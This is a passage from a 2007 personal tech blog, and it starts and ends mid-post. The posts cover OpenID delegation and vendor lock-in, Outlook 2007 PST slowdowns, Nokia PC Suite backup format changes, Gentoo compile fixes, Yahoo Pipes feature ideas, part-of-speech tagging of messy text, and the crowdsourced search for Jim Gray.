and surprise, surprise, it works as advertised. Everything was correctly configured and recognized including the cool new wireless applet for Gnome which found my network and even figured that its WPA. Good work Ubuntu team! You are on the right path! Being the geek that I am, I always find myself trying to figure out whether I should install a Linux distribution that simply works (up until Feisty Fawn there wasn’t really something that did that without further tweaks) or should I go 100% geek/developer and run Gentoo. After all, if I’m going to tweak thing, at least give me 100% control over what I am doing… I guess that from now on I’ll really have a dilemma… --- ## The new and slick myOpenID.com Published: 2007-04-18 Tags: distributed-identity, Identity, janrain, myopenid, OpenID I’m probably the last person to talk about it, by myOpenID.com has a cool and slick new design [via Scott’s blog]. They also added a cool new feature, client side certificate, so when you install such a certificate on your machine you don’t need to do anything to sign in. It does all that for you! Just remember to NOT use it on public computers or on computers that are being used by more than one person and do not have a different user names for each person. Congrats to Scott and all of the fine team at JanRain! In the transition, one thing was lost though, my personal icon. It wasn’t a biggy cause I uploaded it again. On the other hand if I haven’t read about the redesign of the site I would have probably thought I was hijacked to a different one :-) (not!). --- ## Forgive me Outlook for I have sinned (not) Published: 2007-04-15 Tags: Lightning, Microsoft, Mozilla, Mozilla-Thunderbird, office, office-2007, outlook, outlook-2007, pim, pst, pst-files, Thunderbird Forgive me Outlook for I have sinned. I have been using you as one of the primary communication tools that I have form your very first days. I have stayed within the 2Gb PST file limits but when I was told that Outlook 2003 can hold up to 20Gb I have rejoiced, joyed and thanked you for your kindness. I still dreaded the old 2Gb limitation but decide to look forward for a better future. I therefore installed Outlook 2007 blindfold as I have known that each version of Outlook brings it’s own bliss and helpfulness to the world. But oh and behold, my mail downloads prolonged. Is it thy punishment for my ever increasing in size PST? Am I guilty of not enabling “Auto Archive” and splitting my PST files? Perhaps I was still good this year, for you have sent me a savior in the form of this fix… Seriously now… I have discovered this fix via this post in Download Squad and the responds from Outlook’s PM was very annoying: “Outlook wasn’t designed to be a file dump, it was meant to be a communications tool…There is that fine line, but we don’t necessarily want to optimize the software for people that store their e-mail in the same .PST file for ten years.” While it may be true that it wasn’t designed to hold ten years of mail, this is certainly not the first or second version of Outlook. If you’ll take the accumulated usage hours of Outlook of all the people on this planet you’ll amount to thousands (if not more than that) of man years. Do you want to tell me that all of the MS employees don’t have PST files larger than 1Gb? Do you want to tell me that after 5 years of developing Office 2007 and thousands of hours of dog fooding Outlook 2007 within Microsoft you didn’t check an average user’s PST file to see that its well beyond 500Mb? I don’t save 10 years of Email on my main PST file, mostly from the years that the PST was limited to 2Gb, but I do have 2 years and its more than 500Mb. It’s you that decided to add RSS feeds into the PST file which means MORE information is placed inside the PST file not less. You should have seen that coming. Really. Perhaps now is the time to chip in and help the new versions of Thunderbird (the Release Candidate for 2 looks really well) and combined with Lightning (the project to add Calendaring abilities to Thunderbird) and create a decent and usable replacement for Outlook! Outlook 2007, you have failed me and robbed me of my productivity time while I waited for my mail to download. I’m afraid its time to pick up a fight and make sure that the best PIM software really wins. Stop the PIM tyranny and join forces to beat the beast. Competition will make it better and we will all rejoice in reclaiming our mailbox as well as our lost Email download time. --- ## Google Apps for Your Domain and Gmail Mail Applet for Nokia phones Published: 2007-04-07 Tags: blackberry, Gmail, gmail-applet, Google, google-apps-for-your-domain, nokia, Nokia-E61, Rant I own a Nokia E61 cell phone. A nice phone all in all (aside from the backup problems my wife encountered). Gmail has this cool little applet that lets me access my Gmail account in a nicer (and better cached) way from my cell phone. It’s a really nice program and I use it quite often. It has one problem though. If you host your own domain through Google Apps for Your Domain to get the Gmail like interface for your Emails you cannot use this program. Technically (as far as I could see) the interface is rather the same, the only different should be the user name and password. But there is a restriction in the user name in the mail applet that forces you to put an Email address with a suffix of @gmail.com only. It will not accept anything other than a @gmail.com user name. Google Apps for your Domain has, however, a program for Blackberries. Not that there is anything wrong with that, but I would really like to have the current nice mail applet working with my hosted Google Gmail application. I want the normal Gmail applet to work with my custom domain and Google Apps for your domain, otherwise I’m forced to use the not so nice Cell phone browser web mail access which is far less usable than the applet. Is it too much to ask? I don’t think so, considering that it seems there shouldn’t be any problem supporting it technically (it’s the same backend). If any of you Google Apps for your Domains Googlers are reading this and there is a bigger issue/problem with forcing the mail applet to support Google Apps for Your Domain, I would love to know why (you can even ping me privately through my contact page). --- ## Crawling to the people Published: 2007-04-04 Tags: Amazon, crawling, EC2, Google, indexing, infrsatructure, open-api, S3, spinn3r, standards, web-crawling, web-index Yaniv let the cat out of the bag about some of our ideas for making other parts of the search and its relevant data open, free and accessible to all of us. I’d thought I’ll add some background and my thoughts on the subject. First, the idea was iterated a couple of times when we were in that place where you have a solution(s) and you are seeking a problem(s) to solve. It all started from this post by Jeremie Miller. Jeremie, being the good guy that he is, was thinking about create standards and protocols to make the crawling, processing and sharing of data for search and search engines public, free and accessible. While neither Yaniv nor I are in Jeremie’s loop and have no idea of what he is up to (but you can count on it to be interesting, that’s for sure), we talked about it a bit and it sunk in. We both liked the idea of having the raw data accessible as well as being able to run custom post processors that can make something useful out of it so that no one is tied to whatever logic and algorithms the crawler writer enforces. Then came the announcement from Kevin Burton about spinn3r, a service that re uses the web index of the Blogosphere crawled by TailRank’s crawler and allows you (and everyone else) to use that crawled data. This information also sunk in and today at lunch (which did take quite a while :-) ) we started to brainstorm about it a bit more seriously. This can really open up and innovate search from the bottom up. Give access to a lot of people to APIs and capabilities that were previously only available for big companies. This is the platform that can create something very interesting. We would love to hear your comments. --- ## Universal Binaries Published: 2007-04-04 Tags: Apple, Intel, Mac, mac-os-x, mac-osx, macosx, PowerPC, Rant, Universal-Binaries Is it just me or Universal Binaries for Mac are a world domination scheme to increase the bandwidth usage of the world? I know that the Apple folks didn’t want people to start figuring out “Do I have an Intel process or a PowerPC one?”, after all most people don’t really know what’s inside their machines, but in 99% of the cases, when downloading from the web most sites that do provide the software could tell quite easily if the the browser is running on an Intel Mac or a PowerPC Mac by looking at the “User-Agent” string that the browser sends. I also have another solution, add a patch to older OS versions (and add it to new ones) so that they could look inside the .app file (executable or whatever they call it) and see if it has the necessary bits to tell it if its Intel or PowerPC. If it’s the wrong version, the file itself should include a link to the correct version. This adds a bit of a burden to the creators of the software (they need to provide a link to the Intel version on the PPC version and vice versa and use a specific compiler and compile two sets of the application) but makes the whole thing a lot more pleasant. Combine these two methods together and you get decreased bandwidth costs for everyone. Only at the worst case where both the web application failed to detect the correct Mac version and the person downloaded the wrong version that doesn’t fit his/her Mac type, only then they will download both. Luckily Apple’s market share in PCs worldwide is still a single digit percentage so the bandwidth issue is still small, though its probably rising around Silicon Vally ;-) --- ## New Theme – Whiippii! Published: 2007-03-26 Tags: Announcements, themes, wordpress I’ve moved into a new theme called Aqueous-Lite. Those of you reading my blog through my feed are welcome to check it out… I felt kind of restricted in the old theme since it wasn’t fluid and it would be a shame not to use the full screen to show content, mainly for long posts (which I do have a tendency to write once in a while ;-) ). Of course, this theme is widgets ready (like the previous one) so it’s nice to have the ability to switch themes without changing things too much on the widgets (mainly background colors and stuff). I also moved the Google Ads to the right side (its inside a widget) so it won’t bother and take screen space at the top of the screen (it will probably hurt my CPC but it wasn’t that great to begin with :-) ). If you have comments or anything else, comment here or contact me through my contact form. --- ## Twitter and OpenID Published: 2007-03-25 Tags: dave-winer, distributed-identity, Identity, OpenID, scriptingnews, twitter Dave Winer says: “[…] we could make Twitter the open identity system we’ve been looking for. Make your Twitter ID the one that you use to log on to other service […]” I say let Twitter support OpenID with all of the good Relaying Party Best Practices including (but not limited to): Ability to associate an existing account with an OpenID Ability to switch to another OpenID (sort of a password recovery for OpenID) Ability to create a new account directly with an external (non Twitter) OpenID (be a standard relaying party) If they want to, they can also be an OpenID provider (which should be good for them, of course ;-) ). --- ## Amazon Recommendations, Big Giant Collection Books, Reprints and New Editions Published: 2007-03-15 Tags: Amazon, amazon-recommendation, books, idea, newer-editions, Rant, recommendation, recommendation-systems, reprints I really like Amazon. I really like Amazon’s recommendations and ever since I inputed most of my books into Amazon I get really good recommendations. There is one thing that bothers me, though. I recently made a big order from Amazon and included two books which I was long overdue in owning and reading them. The books were “Long Dark Tea Time of the Soul” and “Dirk Gently’s Holistic Detective Agency” both by Douglas Adams. After the purchase, Amazon recommendation started to offer me other Dougls Adams books such as “Mostly Harmless“, “So Long and Thanks for all the Fish” and “The Restaurant at the End of the Universe“. I previously told Amazon that I already own “The Ultimate Hitchhiker’s guide to the Galaxy” which is one large book containing all 5 of the hitchhiker’s guide novels (3 of them are the books mentioned above). Since I own a book that include those books I would have figuring that Amazon will know that and handle that similar to how they handle situations in which a book is reprinted or has some newer edition (usually with minor changes or no changes at all). The recommendation engine doesn’t handle that because it probably doesn’t take into account that this one book is a collection of other books and in addition to that. Due to the Hitchhiker’s guide to the Galaxy movie they have re-printed the series so there are newer edition out there, which is probably one of the causes I see these books again. It’s not that uncommon to have such a book that contains multiple previous titles that were a part of a series before. For example I also own “The Great Book of Amber: The Complete Amber Chronicles” which is one big book that contains the 10 books in the Amber series by Roger Zelazny (luckily I haven’t told Amazon about that so I’m not getting recommendations to buy the same books again). Perhaps Amazon should take a look into such collection books as well as handling re-prints and newer edition in a different way. For example, for reading books (not technical books that often have newer editions that do change and add things) I would expect by default to not see any new re-prints and things like that unless I specifically opted that in my settings. For technical/reference books I would like, by default, to see newer editions because these new editions (usually) add and update information and in most cases its important to stay up-to-date or at least know that there is a newer edition. For paperback vs. hard cover editions, Amazon seems to handle it well and does understand that if I have the paperback edition I don’t need to be recommended of the hard cover edition and vice versa. I can only assume they implemented it by saving some kind of a reference between these books, so perhaps they should add a new type of reference/link for books that are a collection of other books and other such links to handle the rest of the things I’ve mentioned above. What do you say? Am I the only book maniac/Amazon maniac/Recommendation maniac out there that thinks about this? :-) --- ## Mac Software Updates – I expected more from Apple Published: 2007-03-14 Tags: Apple, Mac, mac-mini, mac-software-updates We recently got a Mac Mini to the office so that we can test Yedda better with Safari and in general how Yedda looks, feels and works on all of the various browsers on Mac (mainly Safari, FireFox, Camino and Opera). It’s a cute little machine. I can easily understand why people fall in love with Mac and Apple products in general. After setting it up and powering it up I ran the Software Updates so that I will have the latest, greatest and safest Mac software. After running it and updating various things I ended up with 3 items that needed an update: Java for Mac OS X 10.4, Release 5 (Version 5.0) AirPort Extreme Update 2007-002 (Version 1.0) iPhoto Update (Version 6.0.6) When I wanted to update them, it downloaded them and when it tried to install the updates I got an annoying error (I don’t have the error in front of me now so this is paraphrasing): “An unexpected error has occurred” I tried twice and it didn’t work, so I went to the knowledge base articles of these updates and manually downloaded and installed them. To my “surprise” manually doing it worked like a charm. Now I know this is a bit of a petty rant, but as a user that never used a Mac full time (the only two Apple computers I used full time was an Apple IIc and iPod) the expectations that were set by Apple’s marketing machine and others were quite high. The expectations were high, and my disappointment was about the same height. I’m not a normal/novice user so I did know what to do, but I think Apple should have the decency to tell me why the update/installation failed, or at least provide a button or a link to say what happened (a link or a button would be good so that it won’t alarm the regular users and will give the necessary information to those who knows what to do with it). It’s as simple as that. Really. --- ## mesibo.net – Invitation Published: 2007-03-11 Tags: internet, invitation, Israel, mesibo.net, party, Yedda http://upcoming.org/event/156316/ I always get a little bit envy when I see all the cool events various people arrange in the USA for all kinds of stuff. Camps, Conferences, Confluences, un-conferences, whatever. Now, the Israeli Internet scene is starting to wake up and everyone will see what cool events we can do :-) You are all invited! Register, come and enjoy! --- ## Nokia PC Suite Content Copier .nfb / .nbu Fiasco Published: 2007-03-10 Tags: .nbu, .nfb, .nfc, content-copier, nokia, Nokia-6230, nokia-content-copier, Nokia-E61, nokia-pc-suite, pc-suite This is going to be a long rant about the new Nokia PC Suite Content Copier backup file format and how its software is NOT compatible with previous versions and there is no mentioning anywhere from Nokia (other than the fact they changed the backup file format stated in their help). My wife recently upgraded from her Nokia 6230 to a brand new Nokia E61. She really liked the personal information management (PIM) features and that it had a full QWERTY keyboard. Before switching to the new phone, she backed up the old phone’s content using the Nokia PC Suite Content Copier and it created a .nfb file which seems to contain all of the information. After she got the new E61, she wanted to restore the data (mainly the Contacts with their phones and all) to the new phone, so she fired up the PC Suite only to find out that she needed to upgrade to a newer version (v6.82.22). We upgraded, run Content Copier again and wanted to restore the files and then all hell broke lose… The Content Copier pointed to another folder, not the one that her previous version used to store the backups (which was in My Documnets\My Backups folder). No biggie, so we searched for the term “nokia” around the machine and found the place where it kept the backup file (the one with the .nfb extension). I pointed the Content Copier to that folder (that’s the only thing you can do) and it didn’t recognize it. A little Google-ing and a little RTFM and apparently in the latest version of PC Suite, Nokia switched the format of the backup file to .nbu. Previous versions used two files, one with a .nfb extension and one with the .nfc extension. The new versions use one file with the extension of .nbu and according to their help (the one provided with the Content Copier) it contains both of the data of the .nfb and .nfc files. They did not provide any help or way of figuring out how to restore an old backup in any way or form and it wasn’t even available after a lot of searching around the web. There are a few pointers on the web in the Nokia forums for others with the same problem (you can searched with other terms and get lots more). Luckily I’ve stumbled upon this program which can export all of the data from the .nfb files into plain text (and also extract the images and videos backed up in the .nfb file). There are also a Perl module and a Python library that can read and write .nfb files. The best way to overcome the problem was to import the contacts which I now had in plain text into Outlook and sync Outlook back to the phone. You can import CSV and tab delimited files into Outlook, but since my wife used the phone’s memory, it meant that we now had multiple numbers like cell phone number and home number assigned to the same contact (at least in some of them) and Outlook (and Excel for that matter) had problems figuring out how to map things. So, I’ve cooked up this little Python script which converted the PHONEBOOK file (the one that contains the contact entries) into a CSV file. I probably messed a few of the fields there (and I’ll post some info on the PHONEBOOK file format later) but it worked. We edited the entries in Outlook, synced the phone and finally had most of the data. My most you ask? because even though my wife specifically asked to also backup the SIM card, it did not do that and we lost a couple of contacts. Luckily the majority was in our hands. I’m a VERY long time Nokia user and I think (most) of their phones are REALLY great but this is simply negligence. There is no other word I can think of at this moment to describe this situation. So you’ve upgraded your software, great. But there is NO reason for you NOT to read your old backup files. You can generate the new ones but people, have you heard about backwards compatibility? Nokia is usually well knowned for their backward compatibility in user interface and other areas, but apparently someone screwed up big time with the newer version of PC Suite. Why not read the old backup files? Why not say that I need to do this and that to convert them? Why not supply and program to convert them? This is not how things are done. Even Microsoft allowes you to open Office documents that were written in previous versions of Office. Come on, that’s one of the basic things you do! What will other less technically savvy people would do? Start to re-generate their contact list? Even if Nokia does have a way of doing it and they haven’t made it VERY clear for NORMAL users (I’m not included as a normal user, of course) how to find such a program (or guidelines) and use them its really really bad. These are the sort of things that makes people switch to another cellular phone vendor. I do hope someone from Nokia is reading this and will take care of these issues for the next version of PC Suite. It will also be nice to make sure that when someone sells you a brand new Nokia cell phone the customer is aware of what needs to be done to restore everything back to the new phone. --- ## Why use OpenID? – A matter of choice (and consolidation) Published: 2007-03-07 Tags: account-consolidation, claimID, consolidation, distributed-identity, Identity, identity-consolidation, OpenID, Trust One of the advantages of OpenID is that it enabled you, the user, to consolidate various accounts on various web sites into one (or more, if you have more than one OpenID) identity. Of course you get the side benefit of having only one login and password to use, but for the sake of this argument, that’s a side effect :-) . This is a choice that was never available prior to OpenID, and when it does exist in the form of Google Accounts/Yahoo BBAuth/Microsoft Passport Live ID it allows you access to the provider’s web sites and assets and a handful of 3rd party sites that supports that vendor’s authentication protocol. One of the arguments I tend to hear when telling people about OpenID is: great! now, instead of having multiple accounts we will have multiple OpenIDs. While the above statement is true to some extent, the value of OpenID in this context is that it gives you the choice and ability to consolidate your identity (or identities). You can even go further and use a service like claimID which will allow a person view your claimID profile to really know if the identity on a certain site is really you (only if you want to expose this information, of course). In addition to that, since OpenID is decentralized and is not owned and controlled by a specific company, every site that consumes OpenID (which makes if, of course, an OpenID consumer) will allow you to use your OpenID, regardless of its affiliations. Therefore, if people will ask you “Why should I use OpenID?” tell them it gives them: The choice (and therefore the power) to own their identity Choose who will help them provide their identity (either by running their own OpenID server, using delegation with their blog or web site, or – if all goes well – have all the OpenID consumers support multiple OpenID. Read more here and here) Consolidate various accounts THEY want to consolidate into one (or more) account(s) And they can do it all without destroying or changing the current model of accounts available on web sites since they can still create an account on each site they visit (at least those that require or encourage accounts). It gives them choice and having choice is always a good thing! --- ## libtool: compile: unable to infer tagged configuration Published: 2007-03-05 Tags: apache, GCC, gcc-4.1.1, Gentoo, Gentoo-Linux, libtool, Linux, mod_python, unable-to-infer-tagged-configuration I got the following annoying little error after I tried to upgrade to a newer mod_python on my Gentoo Linux box: �libtool: compile: unable to infer tagged configuration It seems that the main problem was due to the fact that I’ve switched to GCC 4.1.1 and when compiling mod_python, the compilation uses libtool that is brought and compiled with Apache (located under /usr/share/apr-0/build/) which should have been recompiled after I’ve upgraded to the new GCC (I was too lazy to continue running the “emerge -e system” command so I stopped it after GCC was recompiled). To solve it, simple recompile Apache and emerge upgrade mod_python. --- ## Associating Multiple OpenID Identities – I’m not the only one… Published: 2007-03-04 Tags: Identity, multiple-openid-identities, OpenID It seems that Martin Atkins wrote about the need for associating multiple OpenID identities to an account on the same day I wrote my (additional) input on the matter. It’s nice to see I’m not the only one thinking that. --- ## OpenID Vendor Lock-In (sort of) Published: 2007-02-28 Tags: claimID, Jyte, Lock-In, Locking, myopenid, OpenID, OpenID-Vendor, OpenID-Vendor-Lock-In, Zooomr Continuing my previous post about OpenID and Vendor Lock-In, a reader of this blog named Andrew commented on the previous post about a problem he had with MyOpenID.com and Zooomr. He has some valid points here which I wanted to highlight in this post (he also had some points that I think can be easily fixed or that are actually a non issue). You can also read my complete answer to Andrew here. Prior to discovering the whole idea and notion of OpenID Andrew registered to Zooomr. Zooomr’s accounts are actually OpenID accounts which they provide, so every Zooomr user also gets an OpenID account that he can use on other OpenID supported sites. Zooomr delegates the management of the OpenID to MyOpenID.com through their affiliates program. (**UPDATE: **Apparently, this is not true. For some reason I thought it was the case, but it is not) After Andrew got to know OpenID he wanted to truly own his identity by using his own domain (either use delegation or run his own server, whatever he chooses), but now he could not use his identity in Zooomr since Zooomr doesn’t have the notion of supporting multiple OpenID identities tied to the same Zooomr account. In fact, he is tied to his OpenID identity in Zooomr for using Zooomr and since he got a Pro4Life account this identity will never die. In my previous post I’ve suggested a couple of ideas to avoid OpenID vendor lock-in. I now want to add an additional point: Sites should support the ability to associate multiple OpenID identities so that a user can add, remove and switch the identity used to access a certain account in a certain site. Jyte and claimID, for example, support the ability to add multiple OpenID identities and associate them with a single account of each site respectively. You can then login to these sites with each and every one of the OpenID identities you have associated with your account. --- ## Could not run/locate “i386-pc-linux-gnu-gcc” Published: 2007-02-26 Tags: Compilation, Compilation-Error, GCC, Gentoo, Gentoo-Linux, i386-pc-linux-gnu-gcc, Linux I have Gentoo Linux on my home machine and after I’ve upgraded GCC (and subsequently the whole toolchain) I wanted to compile a perl related library – crypt-rsa. When I tried to emerge it, it failed with the following error: Could not run/locate “i386-pc-linux-gnu-gcc” After searching around I found this thread on the Gentoo forums which had some instructions how to handle this issue, but it didn’t help much. In one of the posts on that thread they said to re-emerge the offending package (if you find it). I figured, since I’m trying to compile something related to Perl, perhaps Perl is the problem. I re-emerged it and, surprise surprise, it worked so I thought I’d share it with the world. --- ## OpenID, Trust, Vendor Locking and Delegation Published: 2007-02-22 Tags: Identity, OpenID, openid-delegation, vendor-locking There is a lot going on about OpenID these days and a lot of claims are being raised which prevents greater adoption of OpenID by users. One of these claims is about Trust and Vendor Locking. How can I trust a certain OpenID vendor? after all, gaining access to my OpenID account will give access to all of the sites I’ve signed in/up using OpenID. This is a legitimate claim, since it reminds everyone of how Microsoft Passport.NET Live ID is not that successful being a one vendor, non transferable identity. One of the key elements of OpenID is that it’s decentralized and there is no one body that controls it but if a user signed up to a certain OpenID vendor they are essentially locked into that vendor unless they have the proper skills or items that allows them to perform delegation. Having delegation is exactly the thing to make all of these claims go away since delegation give the power back to the user. The underlying OpenID vendor will supply the service but everything MUST go through the user’s domain to get to the vendor, thus allow the user to change vendors without being locked in. The problem with delegation, however, is that it requires a certain amount of preparation. You either need to have your own site/blog and add the necessary tags or you need to use a service like FreeYourID.com (I’ve previously written about it here) which gives you a URL composed out of your name (using the .name domain). The problem with the solution of FreeYourID.com is that its only one .name vendor that provides this service. Although they are responsible for the whole .name TLD it is still a sort of vendor locking. If all .name providers will support such a service, things will look much better. To sum things up, a possible answer for the claims about OpenID, Trust and Vendor Locking is to simply highlight the benefits of delegation and provide all of the necessary technical means needed to make this as easy as possible. Below is a list of a couple of ideas I thought about (some are more of a wishful thinking since it doesn’t depend on the OpenID community alone) which might make things easier for everyone: Support for OpenID for .name domains available with all the .name providers Built-in support for Delegation in blogging platforms including hosted ones such as WordPress.com, Blogger, TypePad and the rest (for WordPress blogs that you are on your own server/domain you can use my OpenID Delegation plugin :-) ) Support for migrating existing accounts in existing sites to an OpenID account, thus allowing users to consolidate their various accounts on various sites into an OpenID account. Support for migration of accounts between OpenID vendors including support in the OpenID spec to figure out a permanent redirection and perform a necessary fix up (similar to a permanent redirection performed in HTTP). Technology is suppose to make things easier for everyone and lower the barrier of participation so that everyone, regardless of their skills, can use technology for their benefit. Let’s lower the participation barrier for OpenID and let everyone claim their own identity. --- ## Online Life Feed Published: 2007-02-20 Tags: del.icio.us, flickr, life-feed, online-life, online-life-feed, yahoo-pipes, Yedda After reading Grant Robertson’s post – “Taming your own river of news” I’ve decided to use Yahoo Pipes to create my online life feed (it sounds better than “Eran’s river of news”, don’t you think?) You can check it out here. Basically I aggregate the feeds from this blog, my Advanced .NET debugging blog, my Yedda questions, my Yedda answers, my del.icio.us links and my Flickr photostream. These feeds are most of the content I’m generating or contributing to (at least the ones with a feed in it). If I’ll remember some other feeds that I’m contributing to and forgot to add, I’ll update the pipe. I’m quite sure that the rest of the features Grant wanted, like being able to group it by Year/date, source and topic are probalby best kept for the various RSS readers (mostly the desktop ones). Go on and create your own online life feed and share it with everyone! :-) --- ## FreeYourID.com Published: 2007-02-14 Tags: freeyourid, freeyourid.com, janrain, myopenid, OpenID, openid-delegation I’m probably the last person to talk about this but Scott Kveton posted on his blog that his company, JanRain and GNR (who manages the .name top level domain) has come into partnership to deliver a solution that encompasses a .name URL for you as well as built-in OpenID delegation support. Check the details at the FreeYourID.com site. You’ll get a 90 days free trial, after which it will cost $10.95/year. You’ll get a forwarding email address in the form of yourFirstName@youLastName.name (if its available) as well as a site in the form of www._yourFirstName_._yourLastName_.name. You can forward that site to whatever page you wish. The best part is that you automagically get to use this URL (which is rather easy to remember. Duh!) as your OpenID URL in any OpenID enabled site. The OpenID provider for this service is, of course, JanRain’s own MyOpenID. I don’t know how much similar services for .name domain (minus the OpenID support, of course) cost per year, but I think this is one of the cheap ones. The only thing I can add to the discussion in the comments section on Scott’s post, is that if GNR will enable other people using a .name solution to migrate to this new service, that would really make things going. Oh, and they should probably also offer an Email box (which might make this solution cost a bit more, but I think its worth it) because the few people that I know of have a real Email box attached to ther .name solution. I don’t think that I’ll need a .name solution since I own sandler.co.il which is more than fine by me, but this is great for anyone who doesn’t want to mess too much with settings up domains, sites and the rest. --- ## Yahoo Pipes, Microformats and Extendability Published: 2007-02-13 Tags: Ideas, meshups, Microformats, pipes, Yahoo, yahoo-pipes I think Yahoo Pipes is really cool. The main attraction is its slick user interface and ease of use. I just created a pipe of all of the Recent Questions of Yedda translated using Babelfish to French and it took less than 5 minutes. I do have a couple of ideas that I think will make Yahoo Pipes into something very interesting: Accept Regular HTML pages Have a built-in Microformats parser Support for a more complex piping scripting (perhaps in the form of a JavaScript script) Support for state saving (or at least a limited way such as the ability to compare the previous version of the page/feed you are piping) **Accept Regular HTML pages ** Currently, Yahoo Pipes (at least as far as I’ve figured it out) accept only feeds (Atom, RDF, RSS, etc). The other building blocks that works with Yahoo Search, Google Base and Flickr eventually output a feed to Yahoo Pipes. Having the ability to retrieve a page instead of a feed and manipulate it will make things a lot more interesting and will allow VERY interesting meshups and ideas **Built-In Microformats parser ** If Yahoo Pipes will accept regular pages, having a built-in Microformats parser will allow people to extract various types of structured information stored in the Microformats on the pages, thus, creating a reacher and more interesting abilities with Yahoo pipes. Pipes Scripting Having custom scripting abilities to Yahoo Pipes will make it really great and will allow a burst of innovation and interesting things composed with Yahoo Pipes. Of course, this feature is the most complex one from both development and security since having 3rd party code run on your servers is always a problematic thing. But, I’m sure the fine people at Yahoo can limit that. One idea that comes into mind is writing such scripts in JavaScript, thus the whole running of the scripts on top of a page will be contained into a JavaScript environment and can only work on the input of the file being parsed. State Saving State saving will allow users to create a more complex pipe that can be aware of changes. The simplest one is to compare to the previous version of the page/feed, thus allow the pipe writer to figure out what to output. An interesting pipe example that uses some of the things I’ve talked about above would be to have a pipe that listen to a certain drivers vendor’s driver page (most of the drivers vendors don’t have a feed that I can subscribe to and know when there are newer versions of a driver and things like that). The pipe would extract the current version and date from the page and compare it to the previous version stored at Yahoo of that page. If it has changed, it will add an item to the feed’s pipe saying that a new version exists, etc. What do you think? Will this work? Would you be interested in such things? --- ## Bad Text and Part of Speech Tagging – Background Published: 2007-02-09 Tags: Natural-Language-Processing, NLP, Part-of-Speech-Tagging, Part-of-Speehc, POS, Post I’ve recently been fascinated with some aspects of Natural Language Processing (NLP) having worked on some of them at my day job. One of the key aspects that are very important for a computer program to understand natural language is called Part of Speech Tagging (POS or POST). Basically, in the POS tagging phase, the computer assigned the part of speech (noun, verb, adjective, etc) to each word of the specified text, thus allowing the computer to figure out what this text is about and perform later analysis with it. The POS step is very crucial since its output will later be used in the rest of the reasoning process of understanding what the text is about and every mistake at this stage will be dragged onwards making the end result way off target. The problem with most POS taggers (see a list of most of the free ones here) is that they assume that the text you are trying to tag is grammatically correct and (hopefully) is free of spelling mistakes. Proper casing (upper case and lower case of words and letters) is also important to distinguish various types of POS. The other type of POS taggers perform unsupervised learning and can be trained to work with various text types. The problems begin when the text is not grammatically correct, contains spelling mistakes, is not correctly punctuated and proper casing is non existent or used wrongfully. These problems are most common on the Internet and stem from various reasons: English is not the native tongue for a large part of the Internet users making grammar, spelling and punctuation mistakes a bit more common. A portion of the current young Internet users (and I’m not coming from a judgmental approach) use a lot of Internet shortcuts and improper casing and grammar. The big challenge is to still being able to understand what the text is about in spite of these problems. Since the mistakes varies from person to person (and possibly from group to group – which might make things easier. I haven’t done or seen a research about that yet), pre-training your POS tagger is not very useful since the mistake rate will be quite high. Running an unsupervised learning algorithm on each of these text will be time consuming and might return strange results due to the fact that there are quite a bit of error types that can appear in the text. Handling one sentence or just a set of keywords in search engines is relatively easier than figuring out what a block of text (a couple of sentences, a paragraph or even a set of paragraphs). I’ve been experimenting with various techniques on extracting more meaningful results badly formed English text. Some of them are not POS tagging in the tranditional sense of the POS tagging (i.e. tagging each and every word in the text), but rather a way of figuring out the most interesting words in a block of text that might imply what this text is really about. The goal of my experimentation is to try and develop an algorithm that will output a set of words or phrases in various combinations that will later allow me, using a co-occurrence database containing some statistics about different words, to output the main areas that the supplied text talks about. In later posts I’ll try to describe various algorithms I’ve been experimenting with that should increase the efficiency of understanding the main subject of a block of a grammatically improper, badly spelled and wrongfully cased text. If any of you who actually read this post knows people that are working on the subject (or similar aspects of it) and that can point me to some interesting articles on the subject, please leave a comment. Feel free to leave a comment if you’d like to discuss some of these aspects. --- ## Help find Jim Gray Published: 2007-02-05 Tags: HIT, Jim-Gray, Mechanical-Turk, Wener-Vogel If you don’t already know, Jim Gray, a computer scientist and Turing Award winner has disappeared at sea on Jan 28th 2007 while solo sailing his boat on a trip to Farallon Island near San Fransisco. His friend, Werner Vogel – Amazon’s CTO, has harnessed the help of Amazon’s Mechnical Turk to get people to search for any interesting items in a couple of satellite images. If users mark that these images are worth further investigations they will be treated as such. You can join in and help from here. I’ve started to help a bit, but there are a couple of things that I think are fairly easy to do and can greatly help: Image tiles that are completely blank (usually a side effect of the alignment post process of satellite imagery) should not be considered a HIT. It’s easy to check and its easy to save unnecessary clicks from people helping out. I think the tiles can be a bit bigger, thus, covering more grounds in a single HIT. Bigger tiles might also enable people to see wreckage formatioms which (god forbid) will give an indication that something has happened. In addition to that, if the satellite images were released, I’m sure there are more than a few people with knowledge and code that can help identify some of the object automatically (I know I have more than a few such codes to identify various forms in various sizes in an image). This might give this help a bigger boost. I just hope Jim will be found in time. UPDATE (2007/02/05 16:53 IST): I’m not sure if I’m suppose to publish this, but the directory in which one sees the various images in Mechnical Turk are stored in a server where you can get the satellite images broken into tiles in a big zip file. There are ~100 satellite images there. Perhaps some of you (and maybe me if I can find some time) can download it, mash it up back into one picture and run various analysis tools on it. You can grab the images from here. I hope it will help find Jim quicker. --- ## Google Docs & Spreadsheets integration with Gmail Published: 2007-01-31 Tags: Gmail, Google, Google-Docs, Google-Docs-&-Spreadsheets, Google-Spreadsheets, Google-Video, YouTube Google Gmail recently got a new feature allowing one to open Word documents using Google Docs and we can safely assume that PDF and Excel (for use with Google Spreadsheets) documents are on their way as well. Sometimes a Word document can be quite big with lots of added stuff like images, drawings and so on. If Google can handle the on-the-fly (or at least on-mail-receive) Word documents conversions I do think that they can (and hopefully will) handle Movie files conversions like I suggest in my previous post about integrating YouTube/Google Video with Gmail. Since copyright issues are the same for Word documents, having the movie converted and show only to the mail recipient shouldn’t be much of a problem. I wonder if the Gmail team subscribed to RSS alerts on their product the same way as the Google Reader team :-) --- ## idproxy.net Published: 2007-01-29 Tags: bbauth, Identity, idproxy, idproxy.net, OpenID, Yahoo If you haven’t done so already, go check out (and hopefully use, afterwards) idproxy.net. As written in idproxy.net’s about page: idproxy.net acts as a bridge between these two worlds. You can sign in to idproxy.net using your Yahoo! account, and then create one or more OpenID accounts for use elsewhere on the Web. Basically, if you have a Yahoo ID, you can sign-in and create an OpenID for yourself at idproxy.net thus allowing you to use your Yahoo ID and password to connect to any OpenID supported site. Go try it out! idproxy.net is written by Simon Willison. You can read more about the service in this post on his blog. --- ## OpenID Tests Published: 2007-01-29 Tags: OpenID, openid-tests, openidenabled Everyone else has written about it and since I’m a bit behind on my feeds reading list I just got around to check it out. OpenID Tests is a testing tool allowing you to test your OpenID server and OpenID page. This is such a great tool and could save an 